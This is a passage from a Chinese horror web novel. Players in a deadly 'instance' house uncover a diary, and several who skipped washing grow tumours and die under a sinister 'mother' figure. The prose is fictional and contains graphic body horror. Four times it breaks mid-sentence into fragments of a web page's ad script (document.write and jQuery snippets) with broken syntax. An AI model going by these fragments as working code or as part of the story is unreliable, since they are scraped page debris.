妈妈说哥哥得病被治好了。’ ‘九月一日 不要生病。’ 季风和李灰捧着这本日记,相顾无言。 “这哥哥是被治死了吧……”季风忍不住说。 “可是上面写被治好了。”李灰也觉得“哥哥”结局不太妙,但日记上不是这么写的。 “死了就不生病了,也很合理。”季风理所当然地分析道。 “嗯……”歪理,李灰默默地选择不争论这些细节。 “上面重要的信息估计是这个不要生病,”季风从这个曲折的故事中尝试抓重点:“那几个生病的人不知道会发生什么。” 尤其是“小宝”,在今早饭桌上被“妈妈”注意到生病的事。 两人把日记本又放回原处,这时候又有一名玩家来到卧室,是早上给季风递小纸条的女生,一个人来的。 落单了?季风有些疑惑的看着她,女生朝两人走来:“我叫浅浅,早些时候没理你别在意啊,他们不让我们跟团外的人说话。” “团外的人?”李灰有些疑惑。 “嗯,不好解释,但是我可以给你悄悄说一下,我觉得这些没必要隐瞒,还是要互相帮助。”浅浅应了一声李灰的问题,继续跟季风说。 “如果是副本这些基础的我们已经弄明白了,”季风微微低头看着女生:“不过这个纸条,”季风举起皱巴巴的纸条,“我没看懂。” “啊这个,”浅浅看到纸条挠了挠脸颊:“我其实也不知道,这个是我们团长得到的提示,他告诉我们了,但目前没人看明白。” 竟然是这样,季风收回纸条:“那这个你告诉我没关系吗?”毕竟算是团里的内部消息。 “没事,我觉得能搞清楚最重要,藏着掖着难道把这个秘密带进坟墓里吗?”浅浅现在有点庆幸自己拉拢季风的举动,她告诉季风本来只是想落个人情,谁能想到这个团是真废物,忙了一通没任何收获,她感觉自己被诈骗了。那可是一百万星海币,而她现在都不知道自己有没有命活到出去维权。 “咳、”李灰面对两人朝着房门口站着,这时出声打断二人的对话。 门口有三个人进来了,中间的人面色惨白,被两人搀扶着,几人看着他被挪到床上坐下。 “受伤了?”季风问,那人看着没有外伤。 三人一副左右为难的样子,季风明白浅浅说的情况了。 “说吧刘强,那人又不在这,这么听话等死吗?”浅浅看着就来气,支支吾吾的,一点都分不清轻重缓急。 “生病了……”坐在床上的人艰难的开口。 “早上没洗漱吧?”季风认出是没来得及洗漱的倒霉蛋之一,估计在饭桌上就生病了,现在终于撑不住了。 刘强没料到季风竟然知道,他早上动作慢,最后一个到衣柜那,换衣服的时候就听见女人催促吃饭,就没把洗漱当回事。看见“小宝”眼睛长瘤子的时候吓得要死,但之后腿上传来的痛意让他反而稍微松了口气,至少腿上的暂时不会被“妈妈”发现。 “我没来得及去,你有什么办法吗?”他想到自己现在竟然在问一个新人怎么办,算了,就当是病急乱投医吧,李强这么想着安慰自己。 “我认为你只要藏好,不被发现,应该不会有什么问题。”季风根据刚看的日记,提出了一点建议,不过话没说满。 但刘强听到她这么说,面色为难,他抓着裤腿慢慢往上撩了一段,让看见的人都倒吸了一口气——脚和脚踝往上的小腿比正常的地方小一圈,十分割裂,好像退化了成一个小孩的腿。 这怎么藏的住。季风震惊之余发现那三人的目光竟然热切地落在自己身上,仿佛在等一个标准答案。 “怎么我看起来像是知道怎么办的人吗?”季风在心里问小花。 小花:你不帮帮他吗? “心有余而力不足。”她可以想办法,但这怎么还想抄答案呢?还是抄她不用做的作业。 “确实很难办啊,你加油。”季风顶着三人的目光说出这句话,对面明显变得不满。 “那你想到办法了给我们说。”刘强左边的人一副压迫的姿态,仿佛将找到解决方法当成季风的任务。 李灰在季风后面都炸毛了:“你这是求人的态度吗?” 季风挡了一下李灰,说:“我想你有些糊涂了,我只是个新人。” 房间里躺了个人,季风也不好再搜查,既然已经找到了日记本,她决定去别的地方 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,看有没有意外收获。李灰颠颠地跟在她后面也走了。浅浅跟团里的三人终归是有些交集,留下来聊了两句,再出来时已不见两人。 她往前院走去,那里聚集着无良过本团的大部队,她在前院看见了王雪和李腾,他两坐在前院的台阶上,王雪靠在李腾怀里。 这两人应该也跳过了洗漱,不过不是因为时间上来不及,而是李腾觉得“妈妈”让洗漱一定有诈,故意不去做,他十分自信的劝女友王雪也不要洗漱,王雪全身心表示信任,两人都没有听“妈妈”的话。 浅浅将刚才的事告诉两人,本想给他们提个醒,谁知李腾一脸不耐烦,挥苍蝇似的摆摆手:“瞧你吓破胆的样,谁知道李强又干了什么才生病,我们两可是一点事儿没有。” “不是,这是副本规则,我刚问季风……”浅浅见李腾不信,替自己辩解。 “谁?那个新人,你跟她说话了?”李腾抓住浅浅话里的信息:“团长不是说别多管闲事吗?不过我也懒得理他,这副本我看的门清。” 王雪只依偎在李腾身边,浅浅跟她说话她也充耳不闻。 “要我说你别花那冤枉钱,你是不是不信我的能力,一百万干什么不好,咱两人就是两百万,你有这钱不如给我,老公带你过。”李腾又当着浅浅的面跟王雪嚷嚷,王雪也不恼,手顺着李腾的手臂抚了抚。 “老公,我就买个安心,我当然相信你。没关系这点钱咱们出去了我在给你点当零花钱。” 李腾这才被安抚下来,满意的靠在台阶上。 浅浅不可置信的看着这对情侣上演了一出好戏,还是确定了一下:“你们没有出现什么症状吗?” “没有,健康的很。” 王雪已经有些不高兴了,因为李腾跟浅浅说了太多句话,她直起身,挡在自己男朋友面前:“你别在这纠缠了,我老公的通关方法不会告诉你的。” 看来二人是铁了心要走出一条自己的道路,浅浅被好心当成驴肝肺,还要被人身攻击一番,无语的绕开两人走了。 她这会感觉有点饿,早上没吃饭,又在房间跑上跑下了大半天,眼见已经下午三四点钟,浅浅觉得自己最多坚持到明天,在饿死之前一定要找到办法。 五点钟的时候女人准时出现在天井门口,身上还沾着颜料。她也没换衣服,径直走进厨房关上门,听动静是在准备晚饭。 浅浅不知不觉盯着厨房门口出神了,“要是抛开一切不谈,她真是个有责任心的厨子,”她想着有些流口水了:“妈妈做的饭真的不能吃吗?是为什么不能吃来着……” “浅浅。”肩膀被人拍了一下,浅浅才回过神,发觉自己已经盯着厨房门半天了。见是季风拍了自己,有些不好意思地擦了擦嘴,发现没有口水留下来。 季风给了她的手一个眼神, “不好意思,我有点太饿了。”浅浅为自己刚的行为解释:“不过真的不能吃饭吗?” 她的状态明显有些迷糊了,季风提醒道:“我也不确定,不过饿死之前不建议你吃。” “好的,我知道了。”浅浅又擦了擦口水,不知道有没有听见季风的话。 13. 梦想家04 “孩子们,来吃饭吧。”晚饭很快端上桌了,每人一碗白粥。季风和李灰吃了面包片,到了晚上不怎么饿。浅浅从没有像现在这样觉得白粥有这么强的诱惑力,三人低头喝粥,实际只是拿嘴唇碰了碰碗。 早上一口不吃的两人这会倒是开始吃饭了。 “他俩怎么又吃了?”季风小声问浅浅,早上不是还装都不装一下,不吃饭到现在也不至于饥不择食。 “团长说饭放心吃。”浅浅埋着头回答季风,但是她反正不信这饭没问题:“之前的两个副本里,食物确实是能吃的,但我总觉得这个副本怪怪的。” “我就闻着这饭一股臭味,不好。”李灰皱着鼻子,他从一开始就反对“妈妈”生产出来的食物。 季风若有所思的点点头,这个团长有点东西,在论坛上组团且要价高昂,线下第一次见就在副本里,这么快就让大多数人听他的指挥,而且到现在不知道团长是谁。浅浅说团长给他们发了一个传呼机,进副本的时候就在身上,只能单向交流。 “外面的东西可以带进副本吗?”季风问小花。 “估计是道具。”小花在论坛上查了半天,确实找到有关道具存在的只言片语,但没发现在哪里得到这些道具,似乎并没有公开交易。 “小宝,你的眼睛怎么越来越严重了。”女人的声音打破了饭桌上的沉默,众人的目光也聚集到被叫“小宝”的男人脸上,昨天还是黑豆大小的肉瘤,现在明显又变大了几分,已经有些阻挡视线了。 男人慌张的偏头试图躲避女人的注视:“没事,不疼。” 同样的话没法再次打发女人,她来到男人身旁,双手捧着男人的脸,迫使他扭过头来,女人凑近男人的眼睛,语气有些责怪:“都这样了,还想骗妈妈,我们小宝的眼睛都睁不开了。” 亲昵的语气让在场的人起了一身鸡皮疙瘩,浅浅皱着脸转头却看见季风手托着下巴,十分沉浸的观看这场“母慈子孝”的对话。 “我……我能自己处理,你不用管我。”男人别扭的挣脱开女人的手,又不敢表现的太激动。 “这可不行,妈妈会把你治好的。”女人强硬地拽回男人的脸,将他扭到自己这边。 “吃完饭的就去玩吧,我要给小宝治病了。”女人抽空抬起头,给饭桌上其他吓的不敢动弹的人说。 “他是你们团里的吗?”季风看着男人问浅浅。 “是,叫徐棕。” “这种情况你们团长不管管?” “我也没法联系他,不知道。”浅浅郁闷的捏着传呼机,这玩意不响的时候真就是一块破塑料。 女人拽着徐棕的胳膊,将他从座位上拉起来,也不避开众人,让他就在客厅的沙发上坐着,自己去旁边的冰箱里拿些什么东西。 徐棕没有反抗,任由女人摆布。同一个团的其他人想示意男人趁这个时间段逃跑,但话说回来跑又能跑到哪去,在这一间房子大小的副本里,无处可逃。他们对上眼神才发现,徐棕的眼睛不断地颤动,身体却动不了分毫。 女人很快回来了,手上拿着棉线、碘伏,还有一瓶黑乎乎的东西。剩下人的远远地围着,不敢出声,又想看究竟发生会发生什么。 季风正在脑子里跟小花说话:“所以没有一个人去阻止吗,我以为他们会很团结。” 小花:你要去吗? 季风:“这个算我的工作表现吗?” 小花:都说了我和他们不是一伙的,我不知道。 季风:“好吧。” 女人把徐棕的头摁在沙发上,身子压上去用胳膊固定住不让他乱动,手上拿着棉线一遍向他眼睛靠近一遍嘴里轻声哄着:“小宝不怕,一下就好了。” 小花:不过可以加贡献值。 小花冷不丁冒出来这么一句, “这你又知道了?”季风也不着急动作。 小花:副本的有些信息我可以获得,我目前也没有查清楚是什么原理。 小花的来历和目的还是很可疑,但它自己解释不清楚,季风逼问也问不出什么,当务之急是眼前那个趴在沙发上任人宰割的男人。 “妈妈,你打算怎么治小宝啊?”女人背后响起季风的声音,她回头看见是妹妹,还是耐心的给她解释:“小宝眼睛上这个东西越长越大,妈妈给他弄掉。” 弄掉?怎么弄,季风看了一眼女人手里的线, “小宝不会疼吗?不能去医院吗?” “不行,医院的药效很猛,小宝还是个小孩子,承受不住。”女人给季风展示了一下手中的线,被她系成一个线圈,刚好能套在男人的肉瘤上:“这么一拉,线圈收紧就会把瘤子割掉了。” “可是这样会感染吧,后续怎么办。”还真是这种原始的手段,配上女人充满爱意的表情,让人毛骨悚然,众人也不知道季风哪来的胆子质疑女人。 女人早有准备,介绍起了手边另外两样东西:“我准备了碘酒消毒,肉瘤割掉了之后把这个敷在小宝眼睛上,就不会复发了。” “这个是什么?”季风指着那盒黑乎乎的东西问。 “是妈妈自制的草药,你要试一下吗?”妈妈笑着把那盒东西的盖子拧开,递给季风。 身后一排人被季风和“妈妈”有来有回的对话震惊,看到季风竟然真的把鼻子凑上去,直接傻眼了,李灰一下上前拽住季风衣服的后片,想劝她不要冲动。季风被拽的往后仰了一小步,稳住身形后,把手里的罐子伸到李辉的鼻子下面。 李灰看着眼前冒出来的罐子,疑惑的看了一眼季风,凑上去准备闻,又看了一眼疾风。季风直接把手往他脸上一怼,磨磨唧唧的。一股酸味从鼻子直冲李灰天灵盖,“咳咳咳、”他把自己的鼻子从酸罐子里解救出来,正准备用眼睛去瞪,季风抢先问他:“酸酸的,闻起来像什么?” 这么一问李灰回味过来,这个酸味确实没什么怪异的感觉,虽然看着黑乎乎一坨,还是女人自制的,但闻起来有股水果的酸味。 “像酸梅?”他小声问季风。 季风也是这么想的:“估计问题不在这,”瞥了一眼面如土色的“小宝”,回头在李灰耳边悄声说:“死不了。” 徐棕在女人宣布要个他治病后,惊恐的发现自己就使不上力气反抗了,好像真的生出对“妈妈”的服从感,看见季风两人讨论了一圈又把东西还回去时,脑子里只有一个想法:太好了,妈妈可以给我治病了,一会我的病就好了。但是……我生了什么病来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着…… 女人从季风手里接过罐子,准备接着做手术,就又听到季风在后面问:“妈妈,小宝会像弟弟一样吗?” 弟弟?众人听到这个称呼,想不到有哪个玩家被女人叫弟弟。李灰知道,那次季风让他看床角上的称呼时,他记得季风隔壁床上写的是“弟弟”,是第一天晚上骂骂咧咧被女人解决掉的男人。 “最近没见到弟弟,他怎不在家呀?”李灰虽然不知道季风想干什么,但也跟着附和。 “在啊。”女人听到两人问起,竟然给出了肯定的回应。 两人对视了一眼,这样事情变得有些奇怪了, “在哪?” 女人有些不好意思的往季风身后瞥了一眼,季风转身看见那有一个房间,房门紧闭。 “是在这里面吗?”季风指着那间房问女人。 “嗯,弟弟那天晚上不听话,我也没办法,不过我已经治好他了。” “能看看吗?”季风又问。 女人不愿意打开房门,她有些不好意思, “他们都说我这是偏方,不让我弄。” “不会的,我们想看看。” 两人违心地哄着女人, “可是...”女人绞着手,还在犹豫。 “妈妈没事的,我们想看看弟弟。” 众人眼神隐晦的全来到在季风身上,有几个人反应过来“弟弟”是谁了,第一天就没了的男的只有那一个。 女人终于被说服了,决定打开房门,一具完整的尸体被摆在房间中间的玩偶堆里,男人没穿衣服,身上被画满了图案,头上仔细看能发现用陶土覆盖了一角,估计是是为了保证头颅的完整性,陶土底下不必细想。 “弟弟在自己最喜欢的娃娃堆里睡着了,有娃娃陪着他。”女人怜爱的望着男人,走上前蹲下抚摸着他的手臂。 几个胆子小的玩家凑上来看了一眼就跑出去了,女人一时沉浸在对孩子的思念中,季风见状默默地退出去,留两人独处。 徐棕在女人去看弟弟的时候逐渐恢复了清醒,想起刚才发生的事情,又看见“弟弟”的惨状,霎时被恐惧充满,难道自己也会变成那个样子吗。 “弟弟”的头像是被重物攻击过,徐棕只是很小的一处增生,即使真的用女人的“土法子”也不见得会出事,季风想到这,给徐棕说:“你用那些东西,尽快自己处理了。” “啊?”他扭头看见茶几上女人留下的三件套,有些犹豫。 “信不信随你,这玩意只要还在你眼睛上,她肯定不会放过你的。”或许真正的问题是女人经手的一切,季风现在是这么想的。 “妈妈”在和“弟弟”温存的这段时间,是徐棕赌一把的机会。 李灰已经用崇拜的目光在旁边盯了季风半天了:“你怎么知道这样能救他的?” 季风听见这话,看徐棕陷入纠结没注意这边,捏了捏李灰薄薄的肩膀:“我不知道,这不是让他试试。” 小花听到这话都忍不住系统错乱了一下,季风觉得没什么问题,成功了获得贡献值,失败了没损失。 小花:徐棕本人的意见呢? “成功了活,失败了横竖都是死。”季风替他都想好了。 14. 梦想家05 徐棕没有多少时间犹豫,他拿起桌上女人留下的线,哆嗦着手往眼睛上套,他看不见,对不准,试了半天,一身的汗。 “嘿,有人能帮我来吗?”他举着线圈,逐渐绝望的神色不知该望向谁。他先看站在后面的人,对方装作没看见的样子,没有动作。 他就把目光移到浅浅身上,浅浅和他对上视线,慌忙挪开,有些不好意思和懊恼:“我下不了手,你找个镜子啥的,我手软的厉害。” 徐棕只好把求助的目光投向季风,季风看他找了一圈最后看向自己的举动,有些气笑了,“他怎么还挺不情愿让我帮忙的?” 徐棕在这种危急关头还是质疑这个来历不明的新人,季风只是提出方法,也并没有要实践的意思,彼此就这么僵持在客厅。 后面房间里的脚步声突然传来,“妈妈”结束了对弟弟的哀悼,正在往出走。来不及犹豫了,季风从徐棕手里拿过线圈,掐住他的脸迅速的把圈套在肉瘤上利索的一收——“啊!”徐棕发出痛叫,眼前强烈的刺痛仿佛蔓延到眼球,让他有些睁不开眼。 “你们围在一起干什么呢?”女人的声音已经在身后响起。 “没事,妈妈。”徐棕手虚掩着眼睛,声音还有些颤抖。 女人倒是没发现:“妈妈继续帮你.......”准备接着完成手术,就看见他眼睛上的东西不见了。 “怎么回事?” 女人盯着那块伤口看了半天,突然绽放出一个笑容:“竟然好了,我们小宝的病好了。” 看到女人高兴地手舞足蹈,徐棕也笑不出来,眼珠警惕的随着女人的摇晃移动,女人笑够了拿起那罐黑色物体想往徐棕眼睛上糊,他连忙闪开:“不用的,妈妈,我已经好了。” 女人见徐棕躲开了自己的手,有些失望,解释说:“这个是消毒的,不抹上会复发的,来快让我给你敷上。” “没事的,我先回房间睡觉了。”徐棕不愿意再和女人逗留太久,既然她刚说了可以回房间,那他就迅速进去了。 “诶……”季风站在两人身后,由于事情发生又结束的太快,她还没来得及说什么就只能看见徐棕的背影消失在房门口。 “我觉得那个还是得用一下来着……” 女人已经自顾自收拾好东西,战场被打扫干净,也来不及干什么了。 小花:贡献值5 季风以为自己听错了,什么5? “我救了个人才5吗?我上个副本杀个透明客户都有5!” 这个积分系统没出什么问题吗? 小花:我只是负责报数,这个就给了5,难道你是为了贡献值才救人的吗?这样不好,我在网上查到,这样不符合…… “停,”小花不知道什么时候转变成说教风格了,季风打断它的输出:“下次在之前就告诉我贡献值是多少好吗?” 小花:我目前没有这个能力,这些信息都是接收到的。 行。季风还能说什么呢,她现在感觉自己在被无良资本家压榨,而小花是那个负责替老板传话,但是无辜又可恶的同事。明明一天班都没上过,已经开始吃上班的苦了。 也不能这么说,季风又看到在沙发上发呆的“妈妈”,一般的工作也没有生命危险吧。 剩下的人陆陆续续地回到卧室,客厅的人越来越少,大家都不想待在那和女人独处一室,于是一个两个看见别人回去就都走了。最后只剩下季风和李灰两人。李灰也不知道自己为什么会是现在这个处境,一般情况下他会做中间回卧室的那个人。但是季风身边和卧室给他带来的安全感实在是难以抉择。诺大的客厅三个人待在这里,李灰感觉自己的两条腿不受控制的发抖,他现在也没法靠自己走回卧室了。 季风一回头看见李灰还在,感到有些惊讶,这种情绪在看到李灰惨白的脸时变成了惊吓。 “你还行吗?” 李灰哆哆嗦嗦的摇摇头。 “那你快回卧室,我刚想事情呢走神了。” 李灰哆哆嗦嗦的点点头,拉起她的袖子。 季风看了一眼自己的衣服,认命的领着他回房间了。 或许是提心吊胆了一整天,大家困意止不住的上头,天刚黑所有人就已经沉沉睡去。 季风睡得迷迷糊糊的突然醒来了,离谱的是,她被一股强烈的尿意憋醒,这几天拢共她没喝几滴水。卫生间在卧室外面,想到“弟弟”第一天晚上的遭遇,季风犹豫再三觉得这会儿不太合适出去。 可是也睡不着了,她用强烈的意志力强迫自己在床上躺着,但人有三急,在她决定找个方法上厕所时,突然听见一阵窸窸窣窣的声音,那声音急促的响起,重叠。季风的尿意奇迹般的消失了,无影无踪,好像刚才都是自己的错觉。那阵动静也停下了,寂静的夜里没有一丝声音。 早上起来的时候季风问李灰昨晚有没有听到什么声音,李灰表示自己睡死了,没一点意识。她又问了几个人皆是如此。 “奇怪,我都吓死了,平时看完恐怖片绝对失眠,昨晚不知道中了什么蒙汗药,睡得那叫个香。”李灰一顿叭叭,又问:“你问这个是昨晚听到什么了吗?” “嗯,没什么。”季风根据那一会的动静也分辨不出来,索性等等再说。 这一“没什么”李灰可不能算了:“咋了?别没什么啊,你问了肯定是有了,说吧姐不说我又胡思乱想更害怕了。” 季风听到这一长串话只想赶紧让他住嘴:“听到窸窸窣窣的动静但太短了我也不知道是什么。” 这下安宁了,李灰听到了自己想要的,只是人可能是已经昏过去一会了。 照旧来到早餐桌前,女人跟往日比起来明显心不在焉,也不太关心谁在吃饭,谁又挑食了。 吃着吃着餐具碰撞的声音响着突然停下了,大家察觉到异常从碗里抬起头,发现女人正死死盯着徐棕,已经抬头的几人也怔楞地看着他的脸。 昨天被割掉的瘤子又长起来了,不仅长出来,还比之前大得多, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鸡蛋大小的肉瘤表明透着一丝丝黑色的线,外面附着的那一层皮肤被撑的能透出底部的血色,是一种深黑的红。 “怎么了?”男人毫无所觉,还嚼着嘴里的食物,被大家突然的注视弄得有些懵。转头看到女人也看着自己时终于察觉到了什么。 “怎么了!”男人的语气带上恐慌。 “怎么了!是不是……又……”徐棕的声音戛然而止,仰着头瘫在椅子上,没了声息。嘴里还有没咽下去的粥,此时顺着嘴角流出来。 女人缓缓撑起身,来到徐棕座位旁边,用纸巾轻抚去他嘴角的残渣,叹息似的说:“让你不听妈妈的话。”她捂着脸低下头去,传来低低的啜泣声。 看着这感人的一幕,季风不知道自己是要一起哀悼还是什么,大家都僵坐在自己的座位上。 女人哭着不知哪里来的愤怒,挥开胳膊扫落了她周围的餐盘,可怜的坐在附近的人被泼了一脸的粥不敢声张,只能默默抹掉。 “还不快滚,都在这碍我的眼干什么!”嘶吼声从女人的嗓子里发出,季风惊讶于对方还有这样的声线,就被李灰拉着迅速逃跑了。其他玩家也被惊了一跳,纷纷作鸟兽散。 “你怎么不跑啊!要不是我拽着你那女人都能把你吃了。”李灰拉着季风跑到屋子里很远的一个角落才停下,气喘吁吁的问季风。 季风没说话,看着餐桌的方向想些什么。 很奇怪,从浅显处想“妈妈”突然转变的态度很奇怪,有些生硬。 “你一般什么情况下会突然情绪失控?”她问李灰。 “啊?我情绪很稳定的,除了有时候会吓到……”李灰不接受这样的污蔑。 “假设你现在突然生气了……” “我不会哦……” 说不下去了!季风闭上眼睛翻了个白眼,怎么还认死理。 “假如、你假装生气……” 假装……季风闪过这个词一下就意识到了。女人在装,她装出生气的情绪想吓退玩家们,她在隐瞒什么。一个副本里掌管生杀大权的角色有什么需要隐瞒的呢?除非这个是她的死穴。季风想清楚这一点,转身就往回跑。 “怎么了怎么了,”李灰看季风窜出去,犹豫了两秒还是跟上了:“怎么往回跑啊,我害怕!” 季风跑的飞快,李灰晚了两秒被拉下了一截距离,到原位看见季风站在那里。座位上只有徐棕一人躺着,女人已经走了。 “还好只有他一个,”李灰从后面追上来说:“另一个人呢?” 看到季风眼前的一幕李灰不吭声了,徐棕眼睛上长得东西瘪下去了,准确来说是破开了,像是里面原来有什么东西一样。 “这什么啊……”李灰觉得自己又要吐了。 季风盯着肉瘤裂开的那处,“这里面就是刚才女人怕我们看到的东西吗?”她想,那现在它出来了,会造成什么后果呢。 餐厅通往厨房的墙边,一个黑色颗粒一闪而过,仔细看的话是一只蜘蛛。 15. 梦想家06 “妈妈”在徐棕死后又消失了,不知道是不是去画室上课了,玩家们在主院里纷纷接着寻找通关线索。季风插着兜还在徐棕的“案发现场”附近徘徊,肩膀突然被一个人撞了一下,那人没任何表示,急匆匆的路过她走了。 “她是王雪,她和另一个男的是情侣。”李灰看见季风被撞,立刻送上那人的最新消息。 被撞的时候季风看到王雪一脸焦急的样子:“她好像很着急。” 每次看到都是小情侣两人黏在一起,王雪突然一个人出现她都没认出来。 “她男朋友呢,说起来好像有一会没见到李腾了。” 李灰听季风这么说,想起来了一件事。那个李腾昨晚在徐棕被女人摁在沙发上做手术的时候,他在厕所里待的格外久。大家注意力都在这边了,李灰是被吓得想上厕所,所以一直留意着卫生间,结果发现李腾进去之后至少半小时才出来。 “是这样吗?”季风表示知道这个情况了:“有没有可能是他没洗漱的症状出现了。” “他也没洗漱吗?”李灰才知道。 “嗯,他和王雪都犯规了。” “他两一点症状都没有……”李灰看着徐棕还摆在那里的尸体,震惊同人不同命。可李腾的情况,估计不是一点事儿没有吧。 “啊这个,”李灰一摸口袋才想起来,唰——地掏出一张备忘录贴在季风脸上:“我在玄关那找到了这个。” 季风闭着眼把纸从脸上扒拉下来一看,是一张撕下来的便签纸写的备忘录:爸爸周五晚上回家,一定要用一个完美家庭迎接,不然他又要生气了。 “这上面写的奇奇怪怪的,不过说来也合理,有个“妈妈”肯定就要有个“爸爸”,不过周五回来是什么意思啊,上面说他又生气是什么情况……”李灰确认季风浏览过上面的内容之后,放开话闸把自己的推理全部讲了一遍,然后期待地看着季风。 “爸爸”,对啊,进副本两天时间,“妈妈”无数遍出现在自己眼前,她却忽略了一个最显眼的线索——“爸爸”。可能是这个词对季风来说太陌生,让她没有一点想法。李灰还在一旁等着听季风说自己的推测。 “我竟然忘了这个角色,多亏你能先发现这个东西。”季风莫名有点生自己的气,跟李灰说话也带着刺。 李灰一脸毫无察觉的样子,嘿嘿傻笑了一下:“我也没想到,主要我没见过自己的爸爸妈妈。” “我也没见过自己的爸爸妈妈......”他的话像拿着锤子敲击着季风名为愧疚的情绪。 “我刚说了什么造孽的话?”季风想,她看起来像是要碎了。 小花:你要彻夜难眠了。 看着李灰单纯的脸,季风也装作无事发生的样子,去找剩下的玩家。真是说曹操曹操到,没走两步就在走廊里看见李腾,不过是尸体。 玩家已经将其团团围住,季风走过去的时候他们神色各异,看了一眼季风就收回视线。 “季风。”浅浅也蹲在一旁,招呼季风来自己旁边,虽然不知道看尸体还有什么最佳观看位,季风还是被叫过去了。 别说,浅浅旁边这个地方视线就是好,把李腾的惨状尽收眼底。李腾跟徐棕的症状有些相似,可以说是他的恶化加强版——李腾的胸口处有一个破了的瘤子,剩下软软的一层皮搭在胸腔上,季风正好在肉瘤裂开倒下的那一边,她能看到一层皮的内面还有些许粘液。 “我们一个没看住,他就成这样了,他这也太突然了,明明之前一点症状都没有。”浅浅虽然生气两人对自己的忠告充耳不闻,但对他的死还是有些触动。 “对了,季风,”浅浅左右观察了一下,把嘴巴凑近季风的耳朵悄声说:“那个“蜘蛛”你有什么进展吗?” 想到现在已经有两人因为没有洗漱遇害,剩下的人就是王雪和刘强,季风突然想到刘强也有几天没见了:“对了,刘强那个萎缩的腿不知道现在是什么情况。” 问完想起来刚才好像浅浅自己耳边说了什么。 “怎么了,你刚才问什么?”季风没听到浅浅小声的询问。 “没事,没啥,刘强我确实也有一段时间没见了。”浅浅摇头表示自己知道的实在有限,刘强不知道什么时候就没出现过。 “你们说那个女人在画室干什么呢,我们能去把她解决掉吗,这样能通关吗?”旁边站着一个急躁的中年男性,穿着一个格子衫配马甲,在一边说一边来来回回踱步。 他停在季风对面:“你去看看?” 季风看着这位大哥想着:“咱两认识吗?” 大哥见没人理自己,又迅速锁定她旁边的人,浅浅和他的视线一对上,立刻就否定:“我不去,要去你让莲姨去,这不是她的主意吗,你还绅士的不行,替她当出头鸟啊。” 大哥讪讪的看了一眼旁边的中年女人,也就是莲姨,对方也是个暴脾气,立刻就说:“小何啊,姐既然掏钱跟着这个团,肯定是不干活的,你也是拿钱办事,不要有这种不厚道的想法。” 莲姨一张嘴直接把这群人的勾当捅出来了,显然在场只有李灰一人蒙在鼓里:“什么团?” 他看季风一脸平静,跑到季风旁边去问:“你知道吗,什么团啊?”李灰现在又有一种信息上被孤立的感觉,太可怕了。 “哎呀,在这磨蹭等时间到了,谁都得死,先说好,我要是从那拿到出去的东西了我可不分享。”另一个男人等不及站出来了,他穿着个花里胡哨的粉裙子,这个裙子可能也是他着急通关副本的原因。 “哎王浩,那我跟你一起去看看。”格子衫小何又改变主意了,他想蹭着王浩的热闹一块去。 “还有谁一起?”王浩无所谓人数多少,答应下来,穿着粉裙子问其余的玩家还有没有想跟着一起去的,再没人应声。 “行。”两人一起,从天井那个门往画室走去。 “估计那两人有人衣服穿错了吧。”季风看着两件风格鲜明的服装,问小花。 小花:这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看不出来。 “又看不出来,这个副本要你有何用?”季风对没用的废物小花进行人身攻击:“你还没有上一个副本有用,那时候你还是个哑巴呢。” 小花:那些基础功能我现在也可以。 “……好,那个粉裙子检测一下。”季风曲线救国。 “粉裙子,主人:二姐。”小花证明了自己。 王浩还真是二姐,那天那个床头季风专门看了。 “蓝格子衫,主人:大姐。”小花自觉地把两人的衣服都检测了。 “好嘞,等下?蓝格子衫是大姐的?”季风没想到那格子衫宽宽松松,穿上也不违和,竟然是女是衬衫。 “那个小何是什么角色来着?”季风喃喃自语地在脑内检索。 “是六弟。”李灰冒出来,说:“当时有这么多弟让我有点震撼,记忆特别深刻。” 等了很长一段时间两人都没回来,从天井的门向外看院子里一片寂静。太阳已经从头顶降到发梢,天边也微微泛红。就在众人以为两人已经回不来了,准备散去时,一个蓝格子衫出现在院子里。是小何,他气喘吁吁地跑进房门,就跟在地上穿着粗气,汗水浸透衣服,不知道是被吓的还是累的。 “有找到什么吗?”浅浅问。 “没……没有。什么也没有,我走着走着发现景色开始重复,打开一个房门套一个房门,根本没有画室,没有路。”小何被吓得掉头就跑,不知道是路误打误撞跑对了还是单纯年轻人体力好,愣是回来了。 “王浩怎么样,你们问问王浩发现了什么。”他说完见没人应声,似乎有所察觉的抬起头看了一圈,王浩不在。 “王浩还没回来吗?现在几点了?”周围只有墙上有一个挂灯,马上5点钟,不仅王浩没回来,“妈妈”也没回来。 “晚饭怎么办啊?”小何格外担心的竟然是女人做的晚饭。这晚饭真有人吃吗,怎么还期待上了。 “你还吃晚饭吗?我闻着食物都有味道,最好别吃。”李灰忍不住给小何说。 “新人啊?你不懂,之前副本都可以吃饭的,不吃早饿死了。”小何看李灰这个新人啥都不干做的样子,热心宣扬自己的经验。 李灰还想劝他两句,季风拉住他的胳膊。 有些玩家没有一起等,门口只零零碎碎剩了一些人。浅浅凑过来,跟两人说:“刚才人多,我悄悄给你两说,我就说饭有问题,不过现在几乎所有人都吃过,我劝也劝不动。” 女人稍晚了一会出现在天井门口,看见这么多人在这,以为是来迎接自己的,心情看起来好了不少。不过她换衣服了,出去和进来的衣服虽然形制十分类似,季风还是一眼就看出来了。 王浩没有一起回来,多半是回不来了,小何顾及短暂的队友情谊,问女人:“我们少了一个人,您有看见吗?” 女人一个眼神都没给,自顾自走到厨房去生产“毒药”了,小何一看女人开始做饭,他的愧疚感云烟一样迅速消散了。 16. 梦想家07 小何一顿狼吞虎咽,把女人做的饭吃得一干二净,还意犹未尽的看向桌子上其他人的碗,李灰看了看小何又看了看自己的碗,疑惑两人吃的难道不是一锅饭? 小何感觉今晚好像特别饿,吃完一碗胃里一点感觉都没有,女人贴心的给他续上第二碗,他接过很快又吃光了。李灰觉得小何状态不对,正扭头准备提醒季风时,看见季风埋着头也在刨着碗里的饭。 李灰吓得立刻伸手去拽,又觉得这种环境下有点冒险,于是在桌子底下狠狠踩了季风一脚。 “!”飞来横祸。脚上的剧痛让季风手一抖,差点把碗摔了,瞪了李灰一眼之后把碗捏紧了。 